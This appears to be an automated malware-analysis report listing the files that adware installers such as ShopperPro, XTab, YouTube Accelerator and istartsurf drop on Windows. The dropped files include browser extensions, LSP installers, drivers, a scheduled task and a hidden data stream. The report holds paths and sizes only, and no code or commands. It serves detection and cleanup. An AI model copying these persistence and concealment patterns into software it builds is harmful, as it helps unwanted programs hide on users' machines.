C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\73E7.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\pack\xagainit.js (5 bytes)

The process testlsp.exe:3976 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3976_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3976_testlsp.log (120333 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3976.log (1345 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3976_testlsp.log (1438 bytes)

The process vlc-cache-gen.exe:4008 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (65 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.4008 (135036 bytes)

The process powershell.exe:1520 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KFQ8SNLQ1V4H9NFBTBQW.temp (196 bytes)

The process powershell.exe:3548 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JN1QM20S9YNB3PYRTE2E.temp (196 bytes)

The process powershell.exe:3864 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VIWCJXMEJ2SR5W4H90HM.temp (196 bytes)

The process setup.exe:3452 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\AccDownload.dll (11659 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\MoreInfo.dll (15 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE437.tmp (361118 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\nsProcess.dll (12 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\System.dll (23 bytes)

The process HPNotify.exe:3488 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1480 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process XTab_Setup2253.exe:3824 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18514 bytes)
%Program Files% (x86)\XTab\conf (1626 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1031.xpi (15 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (47 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (29 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (21280 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5469 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnAE2A.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15928 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (16990 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process cmdshell.exe:2332 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process jsdrv.exe:3592 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

The process ShopperPro.exe:1916 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\database1_0_0.ej (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\config.json (767 bytes)

The process %original file name%.exe:1856 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssCEF3.tmp (6045 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (111 bytes)

The process GLBBFC5.tmp:3604 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\UNWISE.EXE (155 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFC824.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKC218.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCC013.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGC823.tmp (93076 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMC41C.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJC014.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)

The process ins_shopperpro.exe:3676 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE7.tmp (156077 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE8.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE8.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE8.tmp\setup.exe (1606835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE8.tmp\setup1.exe (144456 bytes)

The process regsvr32.exe:3664 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (409 bytes)

The process regsvr32.exe:2248 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (528 bytes)

The process regsvr32.exe:2956 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (442 bytes)

The process regsvr32.exe:3316 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (491 bytes)

The process lspinst.exe:3992 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)

The process lspinst.exe:3828 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)

The process YTAHEL~1.EXE:3272 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\AccDownload.dll (11667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE8C9.tmp (118586 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\MoreInfo.dll (15 bytes)

The process Xqaaz.exe:3480 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\185195 (1931 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi163F.tmp (611624 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\plshuf.dll (13 bytes)
%Program Files% (x86)\SensePlus\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-5.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\jpcxiuu.dll (8 bytes)
C:\Windows\Tasks\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\edgbnubp.dll (31232 bytes)
